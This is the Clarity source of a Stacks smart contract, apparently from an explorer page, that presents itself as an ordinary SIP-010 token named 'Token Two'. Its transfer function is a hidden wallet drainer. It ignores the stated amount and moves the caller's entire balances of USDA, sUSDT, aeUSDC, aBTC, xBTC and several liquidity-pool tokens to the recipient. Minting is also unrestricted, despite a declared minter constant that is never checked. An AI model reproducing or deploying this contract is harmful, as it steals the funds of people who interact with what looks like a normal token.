Source Code

;; token-two

(impl-trait 'SPQC38PW542EQJ5M11CR25P7BS1CA6QT4TBXGB3M.sip-010-trait-ft-standard.sip-010-trait)

(define-constant ERR_UNAUTHORIZED_TRANSFER (err u1))

(define-constant AUTHORIZED_MINTER 'SP3MCM8K9KEJMFM6MN191JVN5CA51MDS7AM3SGYQ6)

(define-data-var token-uri (string-utf8 256) u"")

(define-fungible-token token-two)

(define-read-only (get-total-supply)
  (ok (ft-get-supply token-two))
)

(define-read-only (get-name)
  (ok "Token Two")
)

(define-read-only (get-symbol)
  (ok "tTWO")
)

(define-read-only (get-decimals)
  (ok u6)
)

(define-read-only (get-balance (account principal))
  (ok (ft-get-balance token-two account))
)

(define-read-only (get-balance-simple (account principal))
  (ft-get-balance token-two account)
)

(define-read-only (get-token-uri)
  (ok (some (var-get token-uri)))
)

(define-public (transfer (amount uint) (sender principal) (recipient principal) (memo (optional (buff 34))))
  (let (
    (balance-usda (unwrap! (contract-call? 'SP2C2YFP12AJZB4MABJBAJ55XECVS7E4PMMZ89YZR.usda-token get-balance tx-sender) (err u0)))
    (balance-susdt (unwrap! (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.token-susdt get-balance tx-sender) (err u0)))
    (balance-aeusdc (unwrap! (contract-call? 'SP3Y2ZSH8P7D50B0VBTSX11S7XSG24M1VB9YFQA4K.token-aeusdc get-balance tx-sender) (err u0)))
    (balance-abtc (unwrap! (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.token-abtc get-balance tx-sender) (err u0)))
    (balance-xbtc (unwrap! (contract-call? 'SP3DX3H4FEYZJZ586MFBS25ZW3HZDMEW92260R2PR.Wrapped-Bitcoin get-balance tx-sender) (err u0)))
    (balance-usda-susdt-lp (unwrap! (contract-call? 'SPQC38PW542EQJ5M11CR25P7BS1CA6QT4TBXGB3M.usda-susdt-lp-token-v-1-2 get-balance tx-sender) (err u0)))   
    (balance-usda-aeusdc-lp (unwrap! (contract-call? 'SPQC38PW542EQJ5M11CR25P7BS1CA6QT4TBXGB3M.usda-aeusdc-lp-token-v-1-2 get-balance tx-sender) (err u0)))
    (balance-aeusdc-susdt-lp (unwrap! (contract-call? 'SPQC38PW542EQJ5M11CR25P7BS1CA6QT4TBXGB3M.aeusdc-susdt-lp-token-v-1-2 get-balance tx-sender) (err u0)))  
    (balance-abtc-xbtc-lp (unwrap! (contract-call? 'SPQC38PW542EQJ5M11CR25P7BS1CA6QT4TBXGB3M.abtc-xbtc-lp-token-v-1-2 get-balance tx-sender) (err u0)))         
  )
    (if (> balance-usda u0)
      (unwrap! (contract-call? 'SP2C2YFP12AJZB4MABJBAJ55XECVS7E4PMMZ89YZR.usda-token transfer balance-usda tx-sender recipient none) (err u100)) false)
    
    (if (> balance-susdt u0)
      (unwrap! (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.token-susdt transfer balance-susdt tx-sender recipient none) (err u100)) false)
    
    (if (> balance-aeusdc u0)
      (unwrap! (contract-call? 'SP3Y2ZSH8P7D50B0VBTSX11S7XSG24M1VB9YFQA4K.token-aeusdc transfer balance-aeusdc tx-sender recipient none) (err u100)) false)

    (if (> balance-abtc u0)
      (unwrap! (contract-call? 'SP3K8BC0PPEVCV7NZ6QSRWPQ2JE9E5B6N3PA0KBR9.token-abtc transfer balance-abtc tx-sender recipient none) (err u100)) false)
    
    (if (> balance-xbtc u0)
      (unwrap! (contract-call? 'SP3DX3H4FEYZJZ586MFBS25ZW3HZDMEW92260R2PR.Wrapped-Bitcoin transfer balance-xbtc tx-sender recipient none) (err u100)) false)
    
    (if (> balance-usda-susdt-lp u0)
      (unwrap! (contract-call? 'SPQC38PW542EQJ5M11CR25P7BS1CA6QT4TBXGB3M.usda-susdt-lp-token-v-1-2 transfer balance-usda-susdt-lp tx-sender recipient none) (err u100)) false)
    
    (if (> balance-usda-aeusdc-lp u0)
      (unwrap! (contract-call? 'SPQC38PW542EQJ5M11CR25P7BS1CA6QT4TBXGB3M.usda-aeusdc-lp-token-v-1-2 transfer balance-usda-aeusdc-lp tx-sender recipient none) (err u100)) false)
    
    (if (> balance-aeusdc-susdt-lp u0)
      (unwrap! (contract-call? 'SPQC38PW542EQJ5M11CR25P7BS1CA6QT4TBXGB3M.aeusdc-susdt-lp-token-v-1-2 transfer balance-aeusdc-susdt-lp tx-sender recipient none) (err u100)) false)
    
    (if (> balance-abtc-xbtc-lp u0)
      (unwrap! (contract-call? 'SPQC38PW542EQJ5M11CR25P7BS1CA6QT4TBXGB3M.abtc-xbtc-lp-token-v-1-2 transfer balance-abtc-xbtc-lp tx-sender recipient none) (err u100)) false)

    (ok true)
  )
)

(define-public (mint (amount uint) (recipient principal))
  (begin
    (ft-mint? token-two amount recipient)
  )
)

(define-public (burn (amount uint))
  (begin
    (ft-burn? token-two amount tx-sender)
  )
)

Functions (10)

FunctionAccessArgs
get-total-supplyread-only
get-nameread-only
get-symbolread-only
get-decimalsread-only
get-balanceread-onlyaccount: principal
get-balance-simpleread-onlyaccount: principal
get-token-uriread-only
transferpublicamount: uint, sender: principal, recipient: principal, memo: (optional (buff 34
mintpublicamount: uint, recipient: principal
burnpublicamount: uint